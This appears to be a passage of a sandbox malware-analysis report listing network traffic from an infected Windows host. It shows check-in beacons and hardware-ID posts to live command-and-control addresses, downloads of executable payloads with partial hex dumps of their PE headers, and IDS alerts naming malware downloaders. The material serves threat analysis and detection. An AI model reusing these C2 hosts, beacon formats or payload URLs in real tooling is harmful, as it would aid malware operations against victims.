00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:33 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:40 GMTContent-Type: application/octet-streamContent-Length: 1904640Last-Modified: Thu, 31 Oct 2024 04:05:08 GMTConnection: keep-aliveETag: "672301f4-1d1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 5d 1c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 ff 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 ff 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 78 7a 66 77 73 79 69 00 00 1a 00 00 10 31 00 00 f4 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 76 75 62 62 72 6b 67 00 10 00 00 00 10 4b 00 00 04 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 ee 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002784001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002785001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build"tale------DAAFIIJDAAAAKFHIDAAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002786001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"tale------AAKKKEBFCGDBGDGCFHCB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002787001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build"tale------JEBGIIDBKEBFBGCAEBAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"tale------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="build"tale------GCBGCGHDGIEGCBFIEGCB--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="build"tale------JDGCGHCGHCBFHJJKKJEH--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49803 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49851 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49913 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49943 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49965 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49965 -> 185.215.113.16:80

